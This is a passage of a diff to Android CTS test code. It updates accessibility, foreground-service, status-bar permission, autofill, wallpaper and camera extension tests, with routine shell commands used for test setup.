-        mActivity = launchActivityAndWaitForItToBeOnscreen(instrumentation,
-                instrumentation.getUiAutomation(), mActivityRule);
+        mActivity = launchActivityAndWaitForItToBeOnscreen(sInstrumentation,
+                sUiAutomation, mActivityRule);
+        // Wait for window animation completed to ensure the input window is at the final position.
+        sUiAutomation.syncInputTransactions();
 
         mHasMultiTouch = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN_MULTITOUCH)
                 || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH_MULTITOUCH_DISTINCT);
 
         mFullScreenTextView = mActivity.findViewById(R.id.full_screen_text_view);
-        getInstrumentation().runOnMainSync(() -> {
+        sInstrumentation.runOnMainSync(() -> {
             final int midX = mFullScreenTextView.getWidth() / 2;
             final int midY = mFullScreenTextView.getHeight() / 2;
             mFullScreenTextView.getLocationOnScreen(mViewLocation);
@@ -174,7 +193,8 @@
 
         // Verify other MotionEvent fields in this test to make sure they get initialized.
         assertEquals(0, clickDown.getActionIndex());
-        assertEquals(ACCESSIBILITY_DEVICE_ID, clickDown.getDeviceId());
+        assertEquals(VIRTUAL_KEYBOARD, clickDown.getDeviceId());
+        assertEquals(MotionEvent.FLAG_IS_ACCESSIBILITY_EVENT, clickDown.getFlags());
         assertEquals(0, clickDown.getEdgeFlags());
         assertEquals(1F, clickDown.getXPrecision(), 0F);
         assertEquals(1F, clickDown.getYPrecision(), 0F);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
index b5b5766..25f4853 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
@@ -16,6 +16,8 @@
 
 package android.accessibilityservice.cts;
 
+import static android.accessibility.cts.common.ShellCommandBuilder.execShellCommand;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.AM_BROADCAST_CLOSE_SYSTEM_DIALOG_COMMAND;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.homeScreenOrBust;
 
 import static org.junit.Assert.assertTrue;
@@ -172,6 +174,7 @@
         // Ideally should verify that we actually have a screenshot, but it's also possible
         // for the screenshot to fail
         waitForIdle();
+        execShellCommand(sUiAutomation, AM_BROADCAST_CLOSE_SYSTEM_DIALOG_COMMAND);
     }
 
     private void waitForIdle() throws TimeoutException {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
index 08d0936..41c5bad 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
@@ -63,7 +63,7 @@
     private static final String LOG_TAG = "ActivityLaunchUtils";
     private static final String AM_START_HOME_ACTIVITY_COMMAND =
             "am start -a android.intent.action.MAIN -c android.intent.category.HOME";
-    private static final String AM_BROADCAST_CLOSE_SYSTEM_DIALOG_COMMAND =
+    public static final String AM_BROADCAST_CLOSE_SYSTEM_DIALOG_COMMAND =
             "am broadcast -a android.intent.action.CLOSE_SYSTEM_DIALOGS";
 
     // Using a static variable so it can be used in lambdas. Not preserving state in it.
diff --git a/tests/app/DownloadManagerInstallerTest/src/android/app/cts/DownloadManagerInstallerTest.java b/tests/app/DownloadManagerInstallerTest/src/android/app/cts/DownloadManagerInstallerTest.java
index 5b9e0fe..aa1db34 100644
--- a/tests/app/DownloadManagerInstallerTest/src/android/app/cts/DownloadManagerInstallerTest.java
+++ b/tests/app/DownloadManagerInstallerTest/src/android/app/cts/DownloadManagerInstallerTest.java
@@ -16,10 +16,12 @@
 package android.app.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
 
 import android.app.DownloadManager;
 import android.content.IntentFilter;
 import android.net.Uri;
+import android.os.Environment;
 
 import androidx.test.runner.AndroidJUnit4;
 
@@ -27,13 +29,20 @@
 import org.junit.runner.RunWith;
 
 import java.io.File;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
 
 @RunWith(AndroidJUnit4.class)
 public class DownloadManagerInstallerTest extends DownloadManagerTestBase {
+    private static final long POLLING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(20);
+    private static final long POLLING_SLEEP_MILLIS = 100;
 
     @Test
     public void testSetDestinationUri_otherAppObbDir() throws Exception {
-        File obbDir = mContext.getObbDir();
+        // getObbDir() may return {@code null} if shared storage is not currently available.
+        pollForExternalStorageState();
+        final File obbDir = mContext.getObbDir();
+        assertNotNull(obbDir);
 
         String otherAppObbPath = obbDir.getPath().replace(mContext.getPackageName(),
                 "android.app.cts.some_random_package");
@@ -63,4 +72,18 @@
             mContext.unregisterReceiver(receiver);
         }
     }
+
+    /**
+     * Polls for external storage to be mounted.
+     */
+    private static void pollForExternalStorageState() throws Exception {
+        for (int i = 0; i < POLLING_TIMEOUT_MILLIS / POLLING_SLEEP_MILLIS; i++) {
+            if (Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
+                return;
+            }
+            Thread.sleep(POLLING_SLEEP_MILLIS);
+        }
+        throw new TimeoutException("Timed out while waiting for ExternalStorageState to be"
+                + " MEDIA_MOUNTED");
+    }
 }
diff --git a/tests/app/app/src/android/app/stubs/LocalService.java b/tests/app/app/src/android/app/stubs/LocalService.java
index 9fe18bd..99f87ac 100644
--- a/tests/app/app/src/android/app/stubs/LocalService.java
+++ b/tests/app/app/src/android/app/stubs/LocalService.java
@@ -98,7 +98,9 @@
                     reply.writeBoolean(ZygotePreload.preloadCalled());
                     return true;
                 case STOP_SELF_RESULT_CODE:
-                    mIsStoppedSelfSuccess = stopSelfResult(mStartId);
+                    synchronized (LocalService.this) {
+                        mIsStoppedSelfSuccess = stopSelfResult(mStartId);
+                    }
                     return true;
                 case STOP_SELF_CODE:
                     stopSelf(mStartId);
@@ -156,10 +158,12 @@
     @Override
     public boolean onUnbind(Intent intent) {
         if (mReportObject != null) {
-            if (mIsStoppedSelfSuccess) {
-                bindAction(STOP_SELF_SUCCESS_UNBIND_CODE);
-            } else {
-                bindAction(UNBIND_CODE);
+            synchronized (this) {
+                if (mIsStoppedSelfSuccess) {
+                    bindAction(STOP_SELF_SUCCESS_UNBIND_CODE);
+                } else {
+                    bindAction(UNBIND_CODE);
+                }
             }
         }
         return true;
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index df041b4..74728a1 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -57,7 +57,7 @@
 import android.os.PowerExemptionManager;
 import android.os.SystemClock;
 import android.permission.cts.PermissionUtils;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.provider.DeviceConfig;
 import android.provider.Settings;
 
@@ -464,7 +464,7 @@
      * @throws Exception
      */
     @Test
-    @SecurityTest(minPatchLevel = "2021-03")
+    @AsbSecurityTest(cveBugId = 173516292)
     public void testFgsLocationStartFromBGWithBind() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -1747,6 +1747,61 @@
     }
 
     /**
+     * Test default_input_method is exempted from BG-FGS-start restriction.
+     * @throws Exception
+     */
+    @Test
+    public void testFgsStartInputMethod() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        final String defaultInputMethod = CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                "settings get --user current secure default_input_method");
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+            // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            // Change default_input_method to PACKAGE_NAME_APP1.
+            final ComponentName cn = new ComponentName(PACKAGE_NAME_APP1, "xxx");
+            CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                    "settings put --user current secure default_input_method "
+                            + cn.flattenToShortString());
+
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // Now it can start FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+            // Stop the FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+            CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                    "settings put --user current secure default_input_method "
+                            + defaultInputMethod);
+        }
+    }
+
+    /**
      * Turn on the FGS BG-launch restriction. DeviceConfig can turn on restriction on the whole
      * device (across all apps). AppCompat can turn on restriction on a single app package.
      * @param enable true to turn on restriction, false to turn off.
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 10c40e8..42e16ac 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -84,7 +84,6 @@
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
-import java.util.function.Consumer;
 import java.util.function.BiConsumer;
 
 @RunWith(AndroidJUnit4.class)
@@ -2288,6 +2287,49 @@
                 });
     }
 
+    @Test
+    public void testForegroundService_malformedNotificationExtras() throws Exception {
+        PermissionUtils.grantPermission(
+                STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
+        // Use default timeout value 5000
+        final ServiceProcessController controller = new ServiceProcessController(mContext,
+                mInstrumentation, STUB_PACKAGE_NAME, mAllProcesses);
+
+        ApplicationInfo appInfo = mContext.getPackageManager().getApplicationInfo(
+                SIMPLE_PACKAGE_NAME, 0);
+        UidImportanceListener uidGoneListener = new UidImportanceListener(mContext,
+                appInfo.uid, IMPORTANCE_CACHED, WAIT_TIME);
+        uidGoneListener.register();
+
+        ActivityManager am = mContext.getSystemService(ActivityManager.class);
+
+        try {
+            controller.ensureProcessGone();
+
+            // Do initial setup.
+            controller.makeUidIdle();
+            controller.removeFromWhitelist();
+            controller.setAppOpMode(AppOpsManager.OPSTR_START_FOREGROUND, "allow");
+
+            // Put app on whitelist, to allow service to run.
+            controller.addToWhitelist();
+
+            // Add a bad extra to the FGS notification and try to start the service
+            // keep key in sync with com.android.cts.launcherapps.simpleapp.SimpleService
+            mServiceStartForegroundIntent.putExtra("NotifExtras", true);
+            mContext.startService(mServiceStartForegroundIntent);
+
+            // Make sure we crashed the process
+            uidGoneListener.waitForValue(IMPORTANCE_GONE, IMPORTANCE_GONE);
+            assertEquals(IMPORTANCE_GONE, am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+        } finally {
+            mContext.stopService(mServiceStartForegroundIntent);
+            controller.cleanup();
+            controller.setAppOpMode(AppOpsManager.OPSTR_START_FOREGROUND, "ignore");
+            controller.removeFromWhitelist();
+        }
+    }
+
     private void testFgsStickyInternal(int stickyFlag, String waitForBroadcastAction,
             BiConsumer<WatchUidRunner, WaitForBroadcast> checkKillResult) throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
@@ -2313,10 +2355,16 @@
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_STICKY,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, extras);
-            // Stop the activity in app1, app1 now only has FGS.
-            CommandReceiver.sendCommand(mContext,
-                    CommandReceiver.COMMAND_STOP_ACTIVITY,
-                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            // Launch home activity, so the activity in app1 will be stopped, app1 now only has FGS,
+            // we're not "finishing" the activity because removing a task could result in service
+            // restart.
+            final Intent homeIntent = new Intent();
+            homeIntent.setAction(Intent.ACTION_MAIN);
+            homeIntent.addCategory(Intent.CATEGORY_HOME);
+            homeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            mTargetContext.startActivity(homeIntent);
+
             // The FGS has all while-in-use capabilities.
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_ALL));
diff --git a/tests/app/src/android/app/cts/BaseTileServiceTest.java b/tests/app/src/android/app/cts/BaseTileServiceTest.java
index dd163ea..c3eedb4 100644
--- a/tests/app/src/android/app/cts/BaseTileServiceTest.java
+++ b/tests/app/src/android/app/cts/BaseTileServiceTest.java
@@ -119,7 +119,7 @@
 
     protected void expandSettings(boolean expand) throws Exception {
         executeShellCommand(" cmd statusbar " + (expand ? "expand-settings" : "collapse"));
-        Thread.sleep(200); // wait for animation
+        Thread.sleep(600); // wait for animation
     }
 
     protected void initializeAndListen() throws Exception {
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 677cbf1..2c54a4c 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -1296,6 +1296,24 @@
         waitForResultOrThrow(DELAY, "service to be destroyed");
     }
 
+    public void testForegroundService_deferThenKeepNotification() throws Exception {
+        // Start FGS with deferred notification; it should not display
+        mExpectedServiceState = STATE_START_1;
+        startForegroundService(COMMAND_START_FOREGROUND_DEFER_NOTIFICATION);
+        waitForResultOrThrow(DELAY, "service to start first time");
+        assertNoNotification(1);
+
+        // Exit foreground but keep notification - it should display immediately
+        mExpectedServiceState = STATE_START_2;
+        startForegroundService(COMMAND_STOP_FOREGROUND_DONT_REMOVE_NOTIFICATION);
+        waitForResultOrThrow(DELAY, "service to stop foreground");
+        assertNotification(1, LocalForegroundService.getNotificationTitle(1));
+
+        mExpectedServiceState = STATE_DESTROY;
+        mContext.stopService(mLocalForegroundService);
+        waitForResultOrThrow(DELAY, "service to be destroyed");
+    }
+
     class TestSendCallback implements PendingIntent.OnFinished {
         public volatile int result = -1;
 
diff --git a/tests/app/src/android/app/cts/StatusBarManagerTest.java b/tests/app/src/android/app/cts/StatusBarManagerTest.java
index 65c933d..9995099 100644
--- a/tests/app/src/android/app/cts/StatusBarManagerTest.java
+++ b/tests/app/src/android/app/cts/StatusBarManagerTest.java
@@ -26,6 +26,7 @@
 import android.app.UiAutomation;
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.view.KeyEvent;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
@@ -144,4 +145,38 @@
 
         // Nothing thrown, passed
     }
+
+    @Test(expected = SecurityException.class)
+    public void testTogglePanel_withoutStatusBarPermission_throws() throws Exception {
+        // We've adopted shell identity for STATUS_BAR in setUp(), so drop it now
+        mUiAutomation.dropShellPermissionIdentity();
+
+        mStatusBarManager.togglePanel();
+    }
+
+    @Test
+    public void testTogglePanel_withStatusBarPermission_doesNotThrow() throws Exception {
+        // We've adopted shell identity for STATUS_BAR in setUp()
+
+        mStatusBarManager.togglePanel();
+
+        // Nothing thrown, passed
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testHandleSystemKey_withoutStatusBarPermission_throws() throws Exception {
+        // We've adopted shell identity for STATUS_BAR in setUp(), so drop it now
+        mUiAutomation.dropShellPermissionIdentity();
+
+        mStatusBarManager.handleSystemKey(KeyEvent.KEYCODE_SYSTEM_NAVIGATION_UP);
+    }
+
+    @Test
+    public void testHandleSystemKey_withStatusBarPermission_doesNotThrow() throws Exception {
+        // We've adopted shell identity for STATUS_BAR in setUp()
+
+        mStatusBarManager.handleSystemKey(KeyEvent.KEYCODE_SYSTEM_NAVIGATION_UP);
+
+        // Nothing thrown, passed
+    }
 }
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index 979df70..6dd4063 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -663,6 +663,7 @@
 
     private void applyCommand(String command) {
         final UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
+        uiAutomation.adoptShellPermissionIdentity(Manifest.permission.INTERACT_ACROSS_USERS_FULL);
         try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
             Assert.assertNotNull("Failed to execute shell command: " + command, fd);
             // Wait for the command to finish by reading until EOF
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index d09b7ee..7fbd297 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -528,13 +528,11 @@
      */
     private void ensureCleanState() {
         Bitmap bmp = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
-        // We expect 5 events to happen when we change a wallpaper:
+        // We expect 3 events to happen when we change a wallpaper:
         // • Wallpaper changed
-        // • System colors are null
-        // • Lock colors are null
         // • System colors are known
         // • Lock colors are known
-        final int expectedEvents = 5;
+        final int expectedEvents = 3;
         mCountDownLatch = new CountDownLatch(expectedEvents);
         if (DEBUG) {
             Log.d(TAG, "Started latch expecting: " + mCountDownLatch.getCount());
diff --git a/tests/appsearch/Android.bp b/tests/appsearch/Android.bp
index 55badaa..8ecb5aa 100644
--- a/tests/appsearch/Android.bp
+++ b/tests/appsearch/Android.bp
@@ -32,8 +32,6 @@
     ],
     test_suites: [
         "cts",
-        "vts",
-        "vts10",
         "general-tests",
     ],
     platform_apis: true,
diff --git a/tests/appsearch/AndroidTest.xml b/tests/appsearch/AndroidTest.xml
index 8acac7c..dcfb2aa 100644
--- a/tests/appsearch/AndroidTest.xml
+++ b/tests/appsearch/AndroidTest.xml
@@ -17,7 +17,7 @@
 <configuration description="Config for CTS AppSearch test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java
index 1ba0b07..2866cbc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java
@@ -105,12 +105,16 @@
         mClearFieldsOnSubmit = flag;
     }
 
-    public FillExpectation expectAutoFill(String input) {
+    public FillExpectation expectInputTextChange(String input) {
         final FillExpectation expectation = new FillExpectation(input, null);
         mInput.addTextChangedListener(expectation.mInputWatcher);
         return expectation;
     }
 
+    public FillExpectation expectAutoFill(String input) {
+        return expectInputTextChange(input);
+    }
+
     public FillExpectation expectAutoFill(String input, String password) {
         final FillExpectation expectation = new FillExpectation(input, password);
         mInput.addTextChangedListener(expectation.mInputWatcher);
@@ -133,6 +137,10 @@
                     : new OneTimeTextWatcher("password", mPassword, password);
         }
 
+        public void assertTextChange() throws Exception {
+            assertAutoFilled();
+        }
+
         public void assertAutoFilled() throws Exception {
             mInputWatcher.assertAutoFilled();
             if (mPasswordWatcher != null) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
index da84344..d07f95b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
@@ -92,8 +92,10 @@
         mUiBot.assertNoDatasetsEver();
 
         // Change input
+        final SimpleSaveActivity.FillExpectation changeExpectation =
+                mActivity.expectInputTextChange("ID");
         mActivity.syncRunOnUiThread(() -> mActivity.getInput().setText("ID"));
-        mUiBot.waitForIdle();
+        changeExpectation.assertTextChange();
 
         // Trigger save UI.
         mUiBot.selectByRelativeId(ID_COMMIT);
@@ -136,15 +138,19 @@
         mUiBot.assertDatasets("YO");
 
         // Select suggestion
+        final SimpleSaveActivity.FillExpectation fillExpectation =
+                mActivity.expectAutoFill("id", "pass");
         mUiBot.selectDataset("YO");
         mUiBot.waitForIdle();
 
         // Check the results.
-        mActivity.expectAutoFill("id", "pass");
+        fillExpectation.assertAutoFilled();
 
         // Change input
+        final SimpleSaveActivity.FillExpectation changeExpectation =
+                mActivity.expectInputTextChange("ID");
         mActivity.syncRunOnUiThread(() -> mActivity.getInput().setText("ID"));
-        mUiBot.waitForIdle();
+        changeExpectation.assertTextChange();
 
         // Trigger save UI.
         mUiBot.selectByRelativeId(ID_COMMIT);
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
index 88bda03..d181f9e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
@@ -32,10 +32,12 @@
 import com.android.compatibility.common.util.Stat;
 import com.android.ex.camera2.blocking.BlockingSessionCallback;
 import com.android.ex.camera2.blocking.BlockingExtensionSessionCallback;
+import com.android.ex.camera2.blocking.BlockingStateCallback;
 import com.android.ex.camera2.exceptions.TimeoutRuntimeException;
 
 import android.graphics.ImageFormat;
 import android.graphics.SurfaceTexture;
+import android.hardware.HardwareBuffer;
 import android.hardware.camera2.CameraCaptureSession;
 import android.hardware.camera2.CameraDevice;
 import android.hardware.camera2.CameraExtensionCharacteristics;
@@ -73,6 +75,7 @@
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.List;
+import java.util.Set;
 import java.util.stream.Collectors;
 
 @RunWith(Parameterized.class)
@@ -188,25 +191,18 @@
                 List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
                         mSurfaceTexture.getClass());
                 Size maxSize = CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
-                ImageReader privateReader = CameraTestUtils.makeImageReader(maxSize,
-                        ImageFormat.PRIVATE, /*maxImages*/ 3, new ImageDropperListener(),
-                        mTestRule.getHandler());
-                OutputConfiguration privateOutput = new OutputConfiguration(
-                        OutputConfiguration.SURFACE_GROUP_ID_NONE, privateReader.getSurface());
-                List<OutputConfiguration> outputConfigs = new ArrayList<>();
-                outputConfigs.add(privateOutput);
-                BlockingSessionCallback regularSessionListener = new BlockingSessionCallback(
-                        mock(CameraCaptureSession.StateCallback.class));
-                SessionConfiguration regularConfiguration = new SessionConfiguration(
-                        SessionConfiguration.SESSION_REGULAR, outputConfigs,
-                        new HandlerExecutor(mTestRule.getHandler()), regularSessionListener);
-
                 mSurfaceTexture.setDefaultBufferSize(maxSize.getWidth(), maxSize.getHeight());
                 Surface repeatingSurface = new Surface(mSurfaceTexture);
                 OutputConfiguration textureOutput = new OutputConfiguration(
                         OutputConfiguration.SURFACE_GROUP_ID_NONE, repeatingSurface);
                 List<OutputConfiguration> outputs = new ArrayList<>();
                 outputs.add(textureOutput);
+                BlockingSessionCallback regularSessionListener = new BlockingSessionCallback(
+                        mock(CameraCaptureSession.StateCallback.class));
+                SessionConfiguration regularConfiguration = new SessionConfiguration(
+                        SessionConfiguration.SESSION_REGULAR, outputs,
+                        new HandlerExecutor(mTestRule.getHandler()), regularSessionListener);
+
                 BlockingExtensionSessionCallback sessionListener =
                         new BlockingExtensionSessionCallback(mock(
                                 CameraExtensionSession.StateCallback.class));
@@ -239,7 +235,6 @@
                             SESSION_CLOSE_TIMEOUT_MS);
                 } finally {
                     mTestRule.closeDevice(id);
-                    mTestRule.closeImageReader(privateReader);
                 }
             }
         }
@@ -263,25 +258,18 @@
                 List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
                         mSurfaceTexture.getClass());
                 Size maxSize = CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
-                ImageReader privateReader = CameraTestUtils.makeImageReader(maxSize,
-                        ImageFormat.PRIVATE, /*maxImages*/ 3, new ImageDropperListener(),
-                        mTestRule.getHandler());
-                OutputConfiguration privateOutput = new OutputConfiguration(
-                        OutputConfiguration.SURFACE_GROUP_ID_NONE, privateReader.getSurface());
-                List<OutputConfiguration> outputConfigs = new ArrayList<>();
-                outputConfigs.add(privateOutput);
-                BlockingSessionCallback regularSessionListener = new BlockingSessionCallback(
-                        mock(CameraCaptureSession.StateCallback.class));
-                SessionConfiguration regularConfiguration = new SessionConfiguration(
-                        SessionConfiguration.SESSION_REGULAR, outputConfigs,
-                        new HandlerExecutor(mTestRule.getHandler()), regularSessionListener);
-
                 mSurfaceTexture.setDefaultBufferSize(maxSize.getWidth(), maxSize.getHeight());
                 Surface surface = new Surface(mSurfaceTexture);
                 OutputConfiguration textureOutput = new OutputConfiguration(
                         OutputConfiguration.SURFACE_GROUP_ID_NONE, surface);
                 List<OutputConfiguration> outputs = new ArrayList<>();
                 outputs.add(textureOutput);
+                BlockingSessionCallback regularSessionListener = new BlockingSessionCallback(
+                        mock(CameraCaptureSession.StateCallback.class));
+                SessionConfiguration regularConfiguration = new SessionConfiguration(
+                        SessionConfiguration.SESSION_REGULAR, outputs,
+                        new HandlerExecutor(mTestRule.getHandler()), regularSessionListener);
+
                 BlockingExtensionSessionCallback sessionListener =
                         new BlockingExtensionSessionCallback(mock(
                                 CameraExtensionSession.StateCallback.class));
@@ -310,7 +298,6 @@
                             BlockingSessionCallback.SESSION_CLOSED, SESSION_CLOSE_TIMEOUT_MS);
                 } finally {
                     mTestRule.closeDevice(id);
-                    mTestRule.closeImageReader(privateReader);
                 }
             }
         }
@@ -617,6 +604,155 @@
         }
     }
 
+    // Verify concurrent extension sessions behavior
+    @Test
+    public void testConcurrentSessions() throws Exception {
+        Set<Set<String>> concurrentCameraIdSet =
+                mTestRule.getCameraManager().getConcurrentCameraIds();
+        if (concurrentCameraIdSet.isEmpty()) {
+            return;
+        }
+
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            if (supportedExtensions.isEmpty()) {
+                continue;
+            }
+
+            Set<String> concurrentCameraIds = null;
+            for (Set<String> entry : concurrentCameraIdSet) {
+                if (entry.contains(id)) {
+                    concurrentCameraIds = entry;
+                    break;
+                }
+            }
+            if (concurrentCameraIds == null) {
+                continue;
+            }
+
+            String concurrentCameraId = null;
+            CameraExtensionCharacteristics concurrentExtensionChars = null;
+            for (String entry : concurrentCameraIds) {
+                if (entry.equals(id)) {
+                    continue;
+                }
+                if (!(new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(
+                        entry))).isColorOutputSupported()) {
+                    continue;
+                }
+                CameraExtensionCharacteristics chars =
+                        mTestRule.getCameraManager().getCameraExtensionCharacteristics(entry);
+                if (chars.getSupportedExtensions().isEmpty()) {
+                    continue;
+                }
+                concurrentCameraId = entry;
+                concurrentExtensionChars = chars;
+                break;
+            }
+            if ((concurrentCameraId == null) || (concurrentExtensionChars == null)) {
+                continue;
+            }
+
+            updatePreviewSurfaceTexture();
+            int extensionId = supportedExtensions.get(0);
+            List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extensionId,
+                    mSurfaceTexture.getClass());
+            Size maxSize = CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
+            mSurfaceTexture.setDefaultBufferSize(maxSize.getWidth(), maxSize.getHeight());
+            OutputConfiguration outputConfig = new OutputConfiguration(
+                    OutputConfiguration.SURFACE_GROUP_ID_NONE,
+                    new Surface(mSurfaceTexture));
+            List<OutputConfiguration> outputConfigs = new ArrayList<>();
+            outputConfigs.add(outputConfig);
+
+            BlockingExtensionSessionCallback sessionListener =
+                    new BlockingExtensionSessionCallback(
+                            mock(CameraExtensionSession.StateCallback.class));
+            ExtensionSessionConfiguration configuration =
+                    new ExtensionSessionConfiguration(extensionId, outputConfigs,
+                            new HandlerExecutor(mTestRule.getHandler()), sessionListener);
+
